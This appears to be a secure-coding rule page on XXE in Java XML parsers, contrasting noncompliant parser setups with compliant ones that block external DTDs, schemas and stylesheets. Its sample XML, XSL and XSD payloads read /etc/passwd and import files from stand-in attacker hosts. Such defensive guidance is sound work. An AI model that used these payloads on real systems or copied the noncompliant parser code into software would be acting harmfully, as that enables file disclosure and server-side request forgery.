Allowing access to external entities in XML Parsing could introduce vulnerabilities like SSRF or confidential file disclosures:
Example in XML document:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.attacking.com/deleteall">
<to>&xxe;</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
Example in XSL document:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY content SYSTEM "file:/etc/passwd"> ]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:import href="http://www.attacker.com/evil.xsl"/> <xsl:include href="http://www.attacker.com/evil.xsl"/> <xsl:template match="/"> &content; </xsl:template> </xsl:stylesheet>
Example in XSD document:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE schema PUBLIC "-//W3C//DTD XMLSchema 200102//EN" "" [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
<xs:import namespace="test" schemaLocation="http://www.attacker.com/evil.xsd"/>
<xs:element name="note">
<xs:complexType>
<xs:sequence>
<xs:element name="to" type="xs:string"/>
<xs:element name="from" type="xs:string"/>
<xs:element name="heading" type="xs:string"/>
<xs:element name="body" type="xs:string"/>
</xs:sequence>
</xs:complexType>
</xs:element>
</xs:schema>
To protect Java XML Parsers from XXE attacks these properties have been implemented:
- ACCESS_EXTERNAL_DTD: should be set to "" when processing XML/XSD/XLS files (it looks for external DOCTYPEs)
- ACCESS_EXTERNAL_SCHEMA: should be set to "" when processing XML/XSD/XLS files (it looks for external schemalocation ect)
- ACCESS_EXTERNAL_STYLESHEET should be set to "" when processing XLS file (it looks for external imports, includes ect);
Avoid FEATURE_SECURE_PROCESSING feature to protect from XXE attacks because depending on the implementation:
- it has no effect to protect the parser from XXE attacks
- or it's just an obscur shortcut (it could set ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA to '')
DocumentBuilderFactory library:
String xml = "xxe.xml"; DocumentBuilderFactory df = DocumentBuilderFactory.newInstance(); // Noncompliant DocumentBuilder builder = df.newDocumentBuilder(); Document document = builder.parse(new InputSource(xml)); DOMSource domSource = new DOMSource(document);
SAXParserFactory library:
String xml = "xxe.xml"; SaxHandler handler = new SaxHandler(); SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser parser = factory.newSAXParser(); // Noncompliant parser.parse(xml, handler);
XMLInputFactory library:
XMLInputFactory factory = XMLInputFactory.newInstance(); // Noncompliant
XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));
TransformerFactory library:
String xslt = "xxe.xsl"; String xml = "xxe.xml"; TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance(); // Noncompliant Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt)); StringWriter writer = new StringWriter(); transformer.transform(new StreamSource(xml), new StreamResult(writer)); String result = writer.toString();
SchemaFactory library:
String xsd = "xxe.xsd"; StreamSource xsdStreamSource = new StreamSource(xsd); SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); // Noncompliant Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator library:
String xsd = "xxe.xsd"; String xml = "xxe.xml"; StreamSource xsdStreamSource = new StreamSource(xsd); StreamSource xmlStreamSource = new StreamSource(xml); SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); Schema schema = schemaFactory.newSchema(xsdStreamSource); Validator validator = schema.newValidator(); // Noncompliant StringWriter writer = new StringWriter(); validator.validate(xmlStreamSource, new StreamResult(writer));
DocumentBuilderFactory library:
String xml = "xxe.xml"; DocumentBuilderFactory df = DocumentBuilderFactory.newInstance(); df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant DocumentBuilder builder = df.newDocumentBuilder(); Document document = builder.parse(new InputSource(xml)); DOMSource domSource = new DOMSource(document);
SAXParserFactory library:
String xml = "xxe.xml"; SaxHandler handler = new SaxHandler(); SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser parser = factory.newSAXParser(); parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant parser.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant parser.parse(xml, handler);
XMLInputFactory library:
XMLInputFactory factory = XMLInputFactory.newInstance();
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));
TransformerFactory library:
String xslt = "xxe.xsl"; String xml = "xxe.xml"; TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance(); transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); // Compliant // ACCESS_EXTERNAL_SCHEMA not supported in several TransformerFactory implementations Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt)); StringWriter writer = new StringWriter(); transformer.transform(new StreamSource(xml), new StreamResult(writer)); String result = writer.toString();
SchemaFactory library:
String xsd = "xxe.xsd"; StreamSource xsdStreamSource = new StreamSource(xsd); SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator library:
String xsd = "xxe.xsd"; String xml = "xxe.xml"; StreamSource xsdStreamSource = new StreamSource(xsd); StreamSource xmlStreamSource = new StreamSource(xml); SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); Schema schema = schemaFactory.newSchema(xsdStreamSource); schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // validators will also inherit of these properties Validator validator = schema.newValidator(); validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant StringWriter writer = new StringWriter(); validator.validate(xmlStreamSource, new StreamResult(writer));